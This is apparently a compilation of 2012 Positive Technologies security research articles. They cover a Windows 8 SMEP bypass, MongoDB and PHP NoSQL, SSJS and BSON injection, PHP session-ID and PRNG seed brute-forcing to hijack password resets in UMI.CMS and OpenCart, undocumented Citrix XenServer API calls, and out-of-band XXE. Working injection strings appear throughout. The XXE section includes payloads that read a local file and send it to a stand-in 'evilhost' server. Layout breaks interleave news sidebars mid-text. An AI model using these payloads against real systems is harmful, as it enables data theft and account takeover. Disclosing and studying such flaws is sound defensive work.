The x64 version of Windows 8 checks SMEP
feature presence during the initialization of
boot structures, filling in the “KeFeatureBits”
variable:
KiSystemStartup() → KiInitializeBootStruc-
tures() → KiSetFeatureBits()
The same is done on x86 version of Windows 8:
KiSystemStartup() → KiInitializeKernel() →
KiGetFeatureBits()
The variable “KeFeatureBits” is then used in
handling a page fault.
If SMEP is supported on the current proces-
sor, it is enabled. On the x86 version it is enabled
Intel SMEP overview and partial
bypass on Windows 8
Artem Shishkin / August 28, 2012 / The full version of the article: http://www.ptsecurity.com/download/SMEP_overview_and_partial_bypass_on_
Windows_8.pdf
Figure 1. Schema of SMEP bypass in Windows 8 x86

also during the startup, at phase 1 in the KiInit-
MachineDependent() function, and later it is ini-
tialized per processor core issuing an IPI which
eventually calls KiConfigureDynamicProcessor()
function. The similar happens on the x64 OS
version.
The other part of software feature support
is a code of the page fault handler. A new
shim function has been added in Windows
8 – MI_CHECK_KERNEL_NOEXECUTE_FAULT().
The access fault due to SMEP or NX violation
is performed inside it. The result of SMEP or NX
violations is a bugcheck with code “ATTEMPT-
ED_EXECUTE_OF_NOEXECUTE_MEMORY”:
KiTrap0E()/KiPageFault() → MmAccessFault()
→ … →
→ MI_CHECK_KERNEL_NOEXECUTE_FAULT()
The previously mentioned function is imple-
mented in Windows 8 only.
It is natural to conclude that if you can’t store
your shellcode in the user-mode, you have to
find a way to store it somewhere in the kernel
space. The most obvious solution is using win-
dows objects such as WinAPI (Events, Timers,
Sections etc) or GDI (Brushes, DCs etc). They are
accessed indirectly from the user-mode via Wi-
nAPI. The point is that the object body is kept in
the kernel and somehow some object fields can
be modified from the user-mode, so an attacker
can transfer the needed shellcode bytes from
the user-mode memory to the kernel-mode.
It is also obvious that an attacker needs to
know where the used object’s body is located in
the kernel. For that, certain information disclo-
sure is needed. As we remember a user-mode
application is unable to read kernel-mode
memory. But certain source of information
about the kernel space is available in Windows
(see “Windows Security Hardening Through
Kernel Address Protection” by Mateusz “j00ru"
Jurczyk).
A number of WinAPI and GDI objects have
been tested for being suitable to serve as a
shellcode delivery tool. WinAPI objects are
stored in the paged or the non-paged pool. GDI
objects are stored in the paged session pool.
All of them happen to be non-executable now.
Moreover, according to the results of scanning
page tables, there is a miserable number of pag-
es used from executable pools. All data buffers
are now non-executable. Most of the execut-
able (f.e. driver images) pages are not writable.
As mentioned above, all of the objects in
Windows 8 are now kept in non-executable
pools. It is true for x64 version of Windows 8,
and partially true for x86 version of Windows 8.
The flaw is the paged session pool. It is marked
as executable on the x86 version of Windows 8.
So a suitable GDI object can be used to store
the shellcode in a kernel memory.
The most convenient object for this pur-
pose is a GDI palette object. It is created with
CreatePalette() fuction and a supplied LOG-
PALETTE structure. This structure contains an
array of PALETTEENTRY structures that define
the color and usage of each entry in the logical
palette [5]. The point is that there is no param-
eter validation for this palette unlike the other
GDI functions that create various objects. An
attacker can store any colors he wants in his
palette. So he can also store any shellcode
bytes there. The kernel address of palette ob-
ject can be revealed through the shared GDI
handle table. A schematic view of SMEP bypass
is presented on Figure 1.
Of course, there are some limitations when
using paged session pool. Firstly, it is paged, so
we need to consider IRQL when exploiting a
certain kernel-mode vulnerability. Secondly,
the session pool is mapped per user session,
so we also have to consider the current session
when exploiting kernel-mode vulnerability.
And thirdly, in a multiprocessor environment
control registers are duplicated per core, so an
attacker has to use thread affinity to disable
SMEP on a certain processor core.
As mentioned before, return-oriented pro-
gramming can be succesfully used to bypass
SMEP security feature due to the fact that this
way doesn’t neccesarily have to store a custom
shellcode, it uses pieces of a code that already
exists somewhere in the kernel memory.
There is also an opportunity of using cus-
tom OEM drivers which are not aware of using
NX-compatible kernel pools.
New Method to Bypass Security of Windows 8 and Intel Ivy Bridge Processors
Artem Shishkin, an expert of Positive Research Center, worked out a new way to by-
pass Intel SMEP security in the course of OS Windows 8 analysis. The vulnerabilities of
this type are the most dangerous, because successful exploitation of the kernel mode
provides a malware user with full control over an attacked system without any restric-
tions of the OS security tools. The Intel SMEP technology was first implemented in the
Intel processors based on Ivy Bridge, and everybody believed that this tool protected
the system from a whole class of vulnerabilities and well-known exploitation methods.
(2012)
Read more: http://www.ptsecurity.com/about/news/10402/

Attacking MongoDB
I'm not going to describe the way a database is
installed: developers make everything possible
to ease this process even without using manu-
als. Let's focus on features that seem really in-
teresting. The first thing is a REST interface. It is
a web interface, which runs by default on port
28017 and allows an administrator to control
their databases remotely via a browser. Working
with this DBMS option, I found several vulner-
abilities: two stored XSS vulnerabilities, undocu-
mented SSJS (Server Side Java Script) code ex-
ecution, and multiple CSRF.
I'm going to detail the above mentioned vul-
nerabilities. The fields Clients and Log have two
stored XSS vulnerabilities. It means that making
any request with HTML code to the database,
this code will be written to the source code of
the page of the REST interface and will be ex-
ecuted in a browser of a person, who will visit
this page. These vulnerabilities make the follow-
ing attack possible:
1. Send a request with the tag SCRIPT and JS
address.
2. An administrator opens the web interface in
a browser, and the JS code gets executed in this
browser.
3. Request command execution from the re-
mote server via the JSONP script.
4. The script performs the command using un-
documented SSJS code execution.
5. The result is sent to our remote host, where it
is written to a log.
As to undocumented SSJS code execution,
I've written a template, which can be modified
as may seem necessary.
http://vuln-host:28017/admin/$cmd/?filter_
eval=function(){ return db.version() }&limit=1
It is well known that a driver is required to
work with any significant database written in
a script language, for instance PHP. I decided to
take a close look at these drivers for MongoDB
and chose a driver for PHP.
Suppose there is a completely configured
server with Apache+PHP+MongoDB and a vul-
nerable script.
The main fragments of this script are as
follows:
$q = array("name" => $_GET['login'], "pass-
word" => $_GET['password']);
$cursor = $collection->findOne($q);
The script makes a request to the MongoDB
database when the data has been received. If
the data is correct, then it receives an array with
the user's data output. It looks as follows:
echo 'Name: ' . $cursor['name'];
echo 'Password: ' . $cursor['password'];
Suppose the following parameters have
been sent to it (True):
?login=admin&password=pa77w0rd
Then the request to the database will look as
follows:
db.items.findOne({"name" :"admin", "pass-
word" : "pa77w0rd"})
Due to the fact that the database contains
the user admin with the password pa77w0rd,
then its data is output as a response (True). If
another name or password is used, then the re-
sponse will return nothing (False).
There are conditions in MongoDB similar to
the common where except for few differences
in syntax. Thus it is necessary to write the fol-
lowing to output records, which names are not
admin, from the table items:
db.items.find({"name" :{$ne : "admin"}})
PHP only requires another array to put it into
the other one, which is sent by the function
findOne.
Let's proceed from theory to practice. At
first, create a request, which sample will com-
ply with the following conditions: password is
not 1 and user is admin.
db.items.findOne({"name" :"admin", "pass-
word" : {$ne : "1"}})
It will look as follows in PHP:
$q = array("name" => "admin", "password" =>
array("$ne" => "1"));
It is only needed to declare the variable pass-
word as an array for exploitation:
?login=admin&password[$ne]=1
Consequently, the admin data is output
(True). This problem can be solved by the func-
tion is_array() and by bringing input arguments
to the string type.
Another vulnerability typical of MongoDB
and PHP if used together is related to injection
of your data to a SSJS request made to a server.
I'll use code to exemplify it. Assume that IN-
SERT looks as follows:
$q = "function() { var loginn = '$login'; var
passs = '$pass'; db.members.insert({id : 2, login
: loginn, pass : passs}); }";
An important condition is that the variables
$pass and $login are taken directly from the ar-
ray $_GET and are not filtered (yes, it's an obvi-
ous fail, but it's very common):
Send test data:
?login=user&password=password
Receive the following data in response:
Your login:user
Your password:password
Let's try to exploit the vulnerability, which
presupposes that data sent to a parameter is
not filtered or verified.
Rewrite loginn variable:
?login=user&password=1'; var loginn =
db.version(); var b='
The first thing we want is to read other re-
cords. A simple request is at help:
/?login=user&password= '; var loginn =
tojson(db.members.find()[0]); var b='2
Of course, it may happen that there will be
no output, then it will be needed to use a time-
based technique, which is based on a server re-
sponse delay depending on a condition (true/
Mikhail Firstov / November 26, 2012 / The full version of the article: http://blog.ptsecurity.com/search/label/Best%20of%20Positive%20Research
PHDays Marked as the Best Information Security Event in Russia
Positive Hack Days, a forum organized by PositiveTechnologies, took place in Moscow
in May 2011 for the first time. The second forum saw 1,500 guests: information secu-
rity professionals, hackers from all over the world, representatives of business, gov-
ernment, and the Internet community. A lot of well-known experts were among the
speakers, including legendary Bruce Schneier. International CTF contests were carried
out, Windows XP and Apple iPhone were successfully hacked, a zero-day vulnerability
in FreeBSD 8.3 was detected, several online contests were held as part of the forum.
PHDays was named the best information security event in Russia by DLP-Expert in
December 2012.
(2012)
/ The full version of the article: http://blog.ptsecurity.com/search/label/Best%20of%20Positive%20Research

false), to receive data. Here is an example:
?login=user&password='; if (db.version() >
"2") { sleep(10000); exit; } var loginn =1; var b='2
It is well known that MongoDB allows creat-
ing users for a specific database. Information
about users in databases is stored in the table
db.system.users. We are mostly interested in the
fields user and pwd of the above mentioned ta-
ble. The user column contains a user login, pwd
- MD5 string ?%login%:mongo:%password%?,
where login and password are the login and
hash of the login, key, and user password.
All data is transferred unencrypted and pack-
et hijacking allows obtaining specific data nec-
essary to receive user's name and password. It is
needed to hijack nonce, login, and key sent by a
client when authorizing on the MongoDB serv-
er. Key contains an MD5 string of the following
form: ”%nonce% + %login% + md5(%login% +
":mongo:" + %passwod%)”.
Let's move further and consider another type
of vulnerabilities based on wrong parsing of a
BSON object transferred in a request to a data-
base.
A few words about BSON at first. BSON (Bi-
nary JavaScript Object Notation) is a computer
data interchange format used mainly as a stor-
age of various data (Bool, int, string, and etc.).
Assume there is a table with two records:
> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b06
5e1"), "name" : "admin", "isadmin" : true }
5e1"), "name" : "noadmin", "isadmin" : false }
And a database request, which can be injected:
>db.test.insert({ "name" : "noadmin2", "isad-
min" : false})
Just insert a crafted BSON object to the column
name:
>db.test.insert({ "namex16x00x08isadmin
x00x01x00x00x00x00x00" : "noadmin2", "is-
admin" : false})
0x08 before isadmin specifies that the data
type is boolean and 0x01 sets the object value
as true instead of false assigned by default. The
point is that, dealing with variable types, it is
possible to rewrite data rendered automatically
with a request.
Now let's see what there is in the table:
> db.test.find({})
5e1"), "name" : "admin", "isadmin" : true }
5e1"), "name" : "noadmin", "isadmin" : false }
{ "_id" : ObjectId("5044ebf6a91b02e9a9b06
5e3"), "name" : null, "isadmin" : true, "isadmin" :
true }
False has been successfully changed into
true!
Let's consider a vulnerability in the BSON
parser, which allows reading arbitrary storage
areas. Due to incorrect parsing of the length of
a BSON document in the column name in the
insert command, MongoDB makes it possible
to insert a record that will contain a Base64 en-
crypted storage area of the database server.
Suppose we have a table named dropme
and enough privileges to write in it.
> db.dropme.insert({"x16x00x00x00
x05hellox00x010x00x00x00worldx00x00"
: "world"})
> db.dropme.find()
{ "_id" : ObjectId("50857a4663944834b98
eb4cc"), "" : null, "hello" : BinData(0,"d29ybGQ
AAAAACREAAAAQ/4wJSCCPCeyFjQkAOQAs
AC...........................ACkALAAgACIAFg==") }
It happens because the length of the BSON
object is incorrect - 0x010 instead of 0x01.When
Base64 code is decrypted, we receive bytes of
random server storage areas.

Random Numbers. Take Two
George Argyros and Aggelos Kiayias, cryptog-
raphy experts from Greece, presented a work,
in which they thoroughly analyzed generation
of pseudorandom numbers in PHP and in-
troduced new methods and techniques for
attacking web applications at the BlackHat
conference in summer 2012. They spoke about
PHPSESSID brute-force aimed at obtaining
data on the state of PRNG entropy sources
in PHP, however, their work lacked practical
implementation. We have decided to study
all the theory, carry out researches, and create
necessary tools. New insights into old prob-
lems allowed detecting vulnerabilities in the
latest versions of such products as OpenCart,
DataLife Engine, UMI.CMS.
PHPSESSID brute-force
The research of the cryptography experts from
Greece showed that the brute-force process can
be optimized, and the obtained information can
be used to predict PRNG seeds in PHP.
Let's view the PHPSESSID generation code:
spprintf(&buf, 0, "%.15s%ld%ld%0.8F", re-
mote_addr ? remote_addr : "", tv.tv_sec, (long int)
tv.tv_usec, php_combined_lcg(TSRMLS_C) * 10);
The example of the source string looks as follows:
127.0.0.11351346648192088.00206033
It includes the following components:
• 127.0.0.1 – client's IP
• 135134664 – timestamp
• 819208 – microseconds (m1)
• 8.00206033 – Linear Congruential Generator
(LCG) output
When php_combined_lcg is called in a fresh
process, PHP initializes LCG:
LCG(s1) = tv.tv_sec ^ (tv.tv_usec<<11);
…
LCG(s2) = (long) getpid();
…
/* Add entropy to s2 by calling gettimeof-
day() again */
LCG(s2) ^= (tv.tv_usec<<11);
The same timestamp, current process iden-
tifier (2^15 possible values), and two new mi-
croseconds values (m2 and m3) participate in
generation of seeds s1 and s2.
An attacker knows IP and timestamp, so the
following values are left:
• Microseconds m1 (10^6 values).
• The difference between the second and the
first time measurements (m2-m1), besides it
does not exceed 4 microseconds on the major-
ity of systems.
• The difference between the third and the sec-
ond time measurements (m3-m2), besides it
does not exceed 3 microseconds.
• Process ID (32768 values).
PHPSESSID brute-force obviously needs a
special tool, as standard tools won't be able
to help in this case. That is why we've decided
to develop our own solution. It resulted in the
program PHPSESSID Bruteforcer, which showed
impressive results in practice.
The main advantage of the tool is high speed,
which is achieved by transferring calculations
on GPU. We've managed to increase the speed
up to 1.2 billion hashes per a second on a single
CUDA-enabled GPU instance of the Amazon
service, which allows brute-forcing the whole
range of values within 7.5 minutes. Besides the
software supports distributed computing with
a smart load balancer. Incredibly high speed can
be achieved by connecting several computers
with a GPU.
In case of successful PHPSESSID brute-force,
an attacker obtains information that allows re-
ceiving s1 and s2 of LCG, so they can predict
all other values. And what is more important is
that all the data on the seed used for Mersenne
Twister initialization becomes available:
#ifdef PHP_WIN32
#define GENERATE_SEED() (((long) (time(0) *
GetCurrentProcessId())) ^ ((long) (1000000.0 *
php_combined_lcg(TSRMLS_C))))
#else
#define GENERATE_SEED() (((long) (time(0)
* getpid())) ^ ((long) (1000000.0 * php_com-
bined_lcg(TSRMLS_C))))
#endif
Moreover, the outputs of such functions as
rand(), shuffle(), array_rand(), and etc. become
predictable.
Hacking UMI.CMS
UMI.CMS v. 2.8.5.3 is a wonderful platform
for attacking PHPSESSID. Token generation for
password reset involves the use of the “rand”
function.
The password can be reset right after genera-
tion of a new session by sending the request:
POST http://host/umi/users/forget_do/
...
choose_forget=on&forget_login=admin
The administrator's login is only needed.
Having received PHPSESSID in the fresh pro-
cess, we find out LCG seeds s1 and s2 and the
process ID. In case of successful brute-force,
repeat the operations carried out on the server
for the generation of the password reset token:
- Initialize LCG by seeds s1 and s2.
- Reference LCG several times (the number
may depend on the interpreter's version, but
usually this number is three).
- Call GENERATE_SEED specifying timestamp
known to an attacker, the process ID, and the
fourth reference to the LCG, initialize Mersenne
Twister with the obtained seed.
- Call getRandomPassword(), which will re-
Arseny Reutov, Timur Yunusov, Dmitry Nagibin / 2012 / The full version of the article: http://blog.ptsecurity.com/2012/08/not-so-random-numbers-
take-two.html
Classification of Web Application Security Threats Published
The experts of Positive Technologies were involved in preparation of the classification
of web application security threats. The Threat Classification is a classification of at-
tacks and vulnerabilities, which can help an attacker to compromise a web site, its data
or users.The research was organized byWeb Application Security Consortium (WASC),
an international group of web application security experts. The updated threats clas-
sification WASC Threat Classification v2.0 was issued in 2010.
(2006)

turn the token, and go to http://host/umi/us-
ers/restore/md5(token)
If all these operations are correctly carried
out, then the administrator's account will re-
ceive a new password known to us.
Attacking OpenCart
The peculiar feature of the initialization
mechanism of the pseudorandom number
generator for rand() and mt_rand() in PHP is
that the macros GENERATE_SEED uses the LCG
output as an entropy source.
Can the LCG use in this case be considered
secure? To answer this question, imagine a
web application that uses two PRNGs simul-
taneously: LCG and Mersenne Twister. If an at-
tacker manages to obtain the seed of at least
one of the generators, then they will be able to
predict the other one. OpenCart v. 1.5.4.1 is an
example of such a web application. It includes
the following code, which task is to generate
a secure token to restore the administrator's
password:
$code = sha1(uniqid(mt_rand(), true));
We have the following string in the end:
924968175087b4c6968487.41222311
It seems impossible to brute-force the sha1
hash, but OpenCart provides an amazing
gift — leakage of the Mersenne Twister state
in the CSRF token:
$this->session->data['token'] = md5(mt_rand());
It is evident that we can brute-force the
2^32 md5 hash quite quickly. Having this
number, we can calculate the seed. So the at-
tack algorithm includes the following steps:
1. An attacker forces a web server to create
new processes with fresh seeds by sending a
large number of keep-alive requests.
2. Three keep-alive requests are sent at the
same time: the first one to receive the md5 to-
ken, the second – to reset the attacker's pass-
word, and the third – to reset the administra-
tor's password.
3. The token is decrypted, the number is used
to search the seed.
4. Having the Mersenne Twister seed and
some collisions, an attacker brute-forces two
LCG seeds. For this, he or she brute-forces the
range of the process IDs (1024-32768), micro-
time (10^6 values), and delta between the first
and the second time measurements.
5. Having obtained several possible LCG seeds,
the attacker brute-forces the sha1 token to
restore their own password. This brute-force
attack is aimed at obtaining the microseconds
value and the MT and LCG seeds.
6. Due to the fact that the requests were sent
one by one, the difference in the microseconds
between the requests to restore the attacker's
and administrator's passwords was very small.
You only need to find the necessary microtime
value having the MT and LCG seeds.
A brute-forcer for LCG seeds on CUDA was
created for such attacks. It allows brute-forcing
the whole range of values in less than half
a minute.
Severe Vulnerability in Nginx Web Server
Vladimir Kochetkov, an expert of Positive Research Center, detected a severe vulnera-
bility in Nginx, the world's second most popular web server. This security flaw allowed
a remote user to bypass the access restrictions of system files. Nginx versions for Win-
dows (from 0.7.52 to 1.2.0 and 1.3.0 inclusive) proved vulnerable to bypassing security
restrictions. For the first time, the vulnerability was described by Vladimir Kochetkov
in his presentation at Positive Hack Days 2012.
(2012)
1.17 billion seeds per a second on Amazon EC2 GPU
Elimination of Apple Website Vulnerability
Positive Technologies specialists detected a critical vulnerability on apple.com, which
allowed malware users to conduct a directory traversal attack and gain access to pri-
vate user data. Such an attack could result in penetration of a cybercriminal into an
internal corporate network. The detected vulnerability was immediately fixed. Apple
highly appreciated the work done by the researchers, in particular, Kirill Ermakov, a
Positive Technologies expert who detected the vulnerability, was specified on the
page Apple Web Server Notifications, where the company publishes the names of re-
searchers managed to find dangerous vulnerabilities on its external resources.
(2012)

Today, I would like to speak about certain as-
pects of using Citrix XenServer 5.6. The problem
I had to deal with seemed to be rather solvable:
command execution in dom0 without using
SSH. While searching methods to fix the issue,
I found some funny features of HTTP API of the
operating system: ways to get /etc/passwd, re-
mote execution of rsync and XenSource thin CLI
protocol. Now I will tell you a kind of a story of
a research.
First, let's consider the origin of the object.
Recently, I have released a public beta version
of a security guide for XenServer, which I'm do-
ing in order to write a clear manual. One of the
recommendations (on the analogy of Security
Hardening Guide (http://bit.ly/hFnTKQ) for VM-
ware ESXi) is to disable SSH daemon. The moti-
vation is that the corporative version of Xen has
an option to use the RBAC system with authen-
tication through Active Directory. According to
the vendor's recommendations, this method
is preferable from the safety point of view. Af-
ter certain modifications of the console run-
ning scenarios in dom0, specified in my guide
(http://bit.ly/OgMiBi), it becomes impossible to
access it through the system without entering
password. Not only a password of a user with
pool administrator privileges are needed to ac-
cess dom0, but also root account data.
ОK. Now our task is to carry out a remote
audit of the operating system using automated
means. What we got at our disposal is XML-RPC
leading to XenAPI, its documentation and Xen-
org source code in OCaml. However, we do
want to execute commands in bash and get
their output for further processing. How shall
we do that?
First, we should understand why we cannot
do this by regular means (through the console
that is provided in API). Let's recall the pro-
cess of call of the console from the client: you
connect to the console (https://<xen_host>/
console?ref=OpaqueRef:console_id) using valid
session_id and get to the RFB terminal (http://
en.wikipedia.org/wiki/RFB_protocol) vncterm.
Of course, the protocol allows sending mouse
activities and key pressing to the remote server
and receiving raster images. Further steps are
clear: modern versions of RFB protocol also al-
low transferring files. It takes only to study com-
mand execution and the problem is solved. But
it would be too easy. Citrix uses the RFB proto-
col version 003.003 (http://grox.net/doc/apps/
vnc/rfbproto.pdf) in its terminals vncterm: This
version does not support file transfer.
Considering this unfortunate news, our de-
velopers started to analyze possible methods
of transferring via RFB, version of the year 1998.
Here are two ideas they came up with. First, in-
tegration with ABBYY FineReader (http://www.
abbyy.ru/finereader/) (supporting recognition
of text in raster images received from dom0).
Second, emulation of mouse movements,
which allows selecting text on the display and
sending it to the exchange buffer available in
the protocol. On a closer examination, both
methods turn out to be absurd.
Gloomy prospects made me return to the
XenAPI documentation reading. This time there
was something that draw my attention. Plugin
architecture. That is, a possibility to call your
own executable file via RPC call_plugin. Mod-
ules are in the directory /etc/xapi.d/plugins/.
Now it's simple. The plugin we created is
called via XML-RPC and runs the appropriate
script in Python, which executes commands
through subprocess. Great! Methods of com-
mand execution in dom0 and receiving a reply
are clear.
Suddenly, a problem appeared. How should
our plugin get to the server? While fixing the
problem, we found certain hidden rocks in Xe-
nAPI.
Of course, I got interested in a function that
you can access via a xe.exe tool — patch-upload.
It allows you to load files remotely to XenServer
and to install them to the whole server pool.
Data representation format is rather plain: shar
which is zipped and signed (!) by Citrix. When
loading the patch, the signature is verified with
a set of corresponding keys in gpg keyring. So
just add your signature to the set and the prob-
lem of the plugin uploading stands no longer.
It's not hard to create a similar structure, but to
add your key you need access to the console.
It's a vicious circle. That's why I started to search
for other methods to upload the plugin.
While using the call I noticed that the official
description of API does not provide such call
ashttps://<xen_host>/pool_patch_upload. Ex-
planation is that it is not a part of API. The ques-
tion imposed by natural curiosity is — what is
Recreational XenAPI, or The
New Adventures of Citrix
XenServer
Kirill Ermakov / July 16, 2012 / The full version of the article: http://blog.ptsecurity.com/search/label/Best%20of%20Positive%20Research

it then? You can find the answer easily with the
help of Wireshark.
You may criticize me for straightness, but I
would say that HTTP interface of XenServer API
is not described at all. Moreover, I didn't know
OCaml at such a level to be able to analyze
source code efficiently, when I faced with this
problem.
I used a splendid method for TLS decryption
provided by Wireshark and a certificate in /etc/
xensource/ left carefully where it can be easily
found, and got a dump of communication be-
tween the xe.exe tool (from XenCenter) and the
server.
I expected XML-RPC communication, which is
described in the official documentation. No such
luck! "POST /cli HTTP/1.0" was displayed instead.
The tool sent a command and its attributes to
https://<xen_host>/cli. There's something miss-
ing. According to the protocol decryption, the
tool used a XenSource thin CLI protocol. All roads
lead to Github, namely to XenAPI source code
(https://github.com/xen-org/).
After some period of time (which I spent
reading the source code of this wonderful com-
ponent), I found out that XenSource thin CLI
protocol 0.2 exists and executes commands of
the xe.exe tool on the remote host.
It is described in xapi/cli_protocol.ml (http://
bit.ly/15r4PXK). It's worth mentioning that this
is an "API of the future" designed to make the
xe.exe tool able to forward commands and to
build the handler into XenAPI.
Basically, we just had to discover the CLI API.
It indicates that not only XML-RPC receiver and
switch /console are presented in port 80443.
Other modules that are available via such call
were discovered by accident in one of the
source code files (http://bit.ly/13m07X3). It's
pretty easy to guess that a great number of calls
provided rather interesting pieces of informa-
tion. There was a remarkable call https://<xen-
host>/syns_config_files: if you have pool ad-
ministrator privileges you obtain /etc/passwd
(I've already mentioned in the previous articles,
it is here where XenServer stores passwords
hash).
Another interesting call is made via“CONNECT
/remotecmd?cmd=rsync&arg=some_nice_arg
&pool_secret=your_pool_secret”. It allows re-
mote execution of rsync on the server with root
privileges, if you know the value of /etc/xen-
source/ptoken. In fact, it gives unrestricted ac-
cess to the file system. You may ask, how should
I get ptoken?
It's even easier. The Xensource developers
made it possible to remotely get the pool con-
tents in XML file. If you execute the command
such as "GET /pool/xmldbdump?session_id=",
you will get a set of key-value pairs, among which
you can easily find the necessary pool_token.
Remote patch uploading is actually per-
formed via "PUT /pool_patch_upload?session_
id=". The server will answer, 200, OK. And will
wait until you upload the information. As soon
as you upload the file, the patch validity check
will launch. But there's one feature: while you're
holding the connection, API thinks that you're
still uploading the file and doesn't use it (though
the file has already been created in /var/patch).
File length check hasn't been discovered. Since
/var/patch is in the server's root partition, DoS is
unavoidable if /dev/urandom is sent there.
Of course, it is only half the story. You can
get more information on calls and necessary
privileges here (http://bit.ly/15r51X2). The code
description is accurate and I'm sure it won't
be difficult to find the answer to a well-stated
question there.
Actually, the said methods were enough to
upload a plugin to the system without signature
verification. I'm not going to provide a detailed
methodology, cause it borders on "vulnerability
exploiting". I'm sure you got the point.
Elimination of Citrix XenServer Vulnerabilities
The experts of Positive Research Center detected and helped to eliminate multiple
vulnerabilities in Citrix XenServer. All in all, more than ten security flaws of various
severity levels were detected. One of them was critical and allowed attackers to obtain
full control over a virtual infrastructure in some cases. The other vulnerabilities were
detected in the management web interfaces of two Citrix XenServer applications:
Web Self Service and vSwitch Controller.
(2012)

XML Data Retrieval
Parameter entities
The majority of users either do not know or
know very little about such structures as param-
eter entities. If XML was attacked, they primarily
either were useless (general entities were quite
enough) or returned not all data.
In other words, parameter entities:
1. Are parsed very easily while creating a DTD.
2. Allow creating other entities and param-
eter entities (which results from the first state-
ment).
An example of a document that uses param-
eter entities can be as follows:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'some_
text'>">
%param1;
]>
<root>&internal;</root>
The parameter entity param1 contains dec-
laration of the internal entity internal, which in
its turn is inserted in the tag root and displayed
to a user.
Validity and well-formedness
Suppose you have a validating parser, and it
maintains external entities (still quite frequent
combination). According to the XML specifica-
tion, certain constraints should be complied
with when a document is checked. (See the
article of Andrey Petukhov ("Hacker", May 2012)
for the details of specific validation features and
parser constraints). For instance, constraints for
tag attributes look as follows:
Well-formedness constraint: Unique Att Spec
Validity constraint: Attribute Value
Type
Well-formedness constraint: No External
Entity References
Well-formedness constraint: No < in At-
tribute Values
Everything is clear with the first two: an at-
tribute name should be unique, and its value
should comply with a declared type. These
errors do not interfere with what we do and
sometimes even help us (those very error-based
XXE injections).
Let's consider in detail the third require-
ment — attributes should not contain refer-
ences to external entities directly or indirectly.
Indeed, the following three documents will fail
well-formedness check:
<!DOCTYPE root [
<!ENTITY external SYSTEM "file:///c:/boot.
ini">
]>
<root attrib="&external;" />
Error: External entity 'external' reference
cannot appear in the attribute value.
Even the parameter entity is helpless:
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY external
SYSTEM 'file:///c:/boot.ini'>">
%param1;
]>
Error: The external entity reference "&external;"
is not permitted in an attribute value.
<!DOCTYPE root [
<!ENTITY % param1 SYSTEM "file:///c:/boot.
ini">
<!ENTITY external "%param1;">
]>
Error: A parameter entity reference is not
allowed in internal markup.
The last example is of great interest because
one more specification constraint is violated:
Well-formedness constraint: PEs in Internal Sub-
set. We cannot place parameter entities into
the declaration of an internal DTD. However,
the specification includes information how to
bypass this obstacle: This does not apply to ref-
erences that occur in external parameter enti-
ties or to the external subset. Let's just view the
external document, in which the necessary pa-
rameter entities that can be further referred in
the source document are declared.
So what will happen if a part of a DTD is de-
clared in an external file? According to the spec-
ification, behavior related to the constraint on
placing external entities in attributes shouldn't
be changed, all the data will be checked for va-
lidity and well-formedness, placed and parsed
later. However, some of the parsers including
libxml (PHP, Python, Ruby), Xerces2 (Java), Sys-
tem.XML (.NET) seem to have a little different
opinion :)
Let's create a page with the following con-
tent on our site (note that there's no doctype!):
<!ENTITY % payload SYSTEM "file:///c:/boot.
ini">
<!ENTITY % param1 "<!ENTITY internal '%pay-
load;'>">
The secret is that a parameter entity cannot
be placed in an internal entity. Anyway, parsers
in Java and .NET are not pleased with such at-
tempts.
And here is the source document:
<!DOCTYPE root
[
<!ENTITY % remote SYSTEM "http://evilhost/evil.
xml">
%remote;
%param1;
]>
<root attrib="&internal;" />
The algorithm to parse a document is as follows:
1) DTD content is reviewed.
2) The declaration and reference of the external
parameter entity remote is detected.
3) When remote is referred to, http://evilhost/
evil.xml is parsed. This file contains declaration
of the external parameter entity payload, which
we are going to read, and the parameter entity
param1, which should create the internal entity
internal.
4) It should be noted that t we've just pre-
pared our injection by declaring the entity, but
file:///c:/boot.ini still cannot be read.
5) As far as http://evilhost/evil.xml is valid, it sub-
stitutes remote in the source document.
6) The parameter entity param1 is referred to,
and we take control over the entity internal,
which (all of a sudden!) is not an external entity.
What is the profit?
• If the parser outputs an attribute value, then
we get the entity value.
• If we can access the XSD schema, we can get
error output.
<xs:restriction base="xs:string">
<xs:pattern value="&internal;" />
</xs:restriction>
TimurYunusov,AlexeyOsipov / 2012 / Thefullversionofthearticleisavailablehere:https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf
New XXE Attack Against Applications Presented at Black Hat Europe
Alexey Osipov and Timur Yunusov, the experts of the security assessment group at
Positive Technologies, presented their report“XML Out-of-Band Data Retrieval”at the
conference Black Hat Europe in Amsterdam. This talk covered a brand new technique
for out-of-band data retrieval, which allows accessing files and resources of a victim’s
machine and internal network, while the output of the vulnerable application that
handles XML data remains normal.

XXE Data Retrieval
Now is the sweetest part. What do we need
XML Injection for? To obtain some data. Param-
eter entities help us to access external resources
transferring to them file content from the server,
where the parser is located, via external entities
using the technique described above. It allows
attacking parsers, on which any data output is
disabled!
1. Send the following document to the XML
parser:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evilhost/evil.
xml">
%remote;
%param1;
]>
<root>&external;</root>
2. Parsing this DTD, the parser refers to the
parameter entity remote, and if it has access to
our resource (which is not always the case) it
will substitute it for the following content:
<!ENTITY % payload SYSTEM "file:///c:/
boot.ini">
<!ENTITY % param1 "<!ENTITY exter-
nal SYSTEM 'http://evilhost/log.
php?log=%payload;'>">
Then the parser declares the parameter en-
tity param1, refers to it in the main document
right after referring to remote. param1 contains
the declaration of external, to which we refer in
the body of the XML document. This construc-
tion allows reading the content of the file c:/
boot.ini, substituting c:/boot.ini for external en-
tity bypassing constraints on parameter entities
declaration in other entities, and allows refer-
encing external transferring the file content to
the server controlled by us.
Sometimes entities do not work in a parser.
Then the following construction is of help (pa-
rameter entities only):
1. Send the following document to the XML
parser:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evilhost/
evil_2.xml">
%remote;]>
<root/>
2. ext_2.xml content:
<!ENTITY % payload SYSTEM "file:///c:/
boot.ini">
<!ENTITY % param1 '<!ENTITY % ex-
ternal SYSTEM "http://evilhost/log.
php?%payload;" >' >
%param1;
%external;
This technique differs from the previous one in
the fact that an attack is conducted only when
a DTD is declared.
“WinCC under X-rays”at SCADA Security Scientific Symposium
SCADA Security Scientific Symposium held in Miami in January 2013 saw the report
of Positive Technologies experts related to the results of Siemens WinCC/S7 security
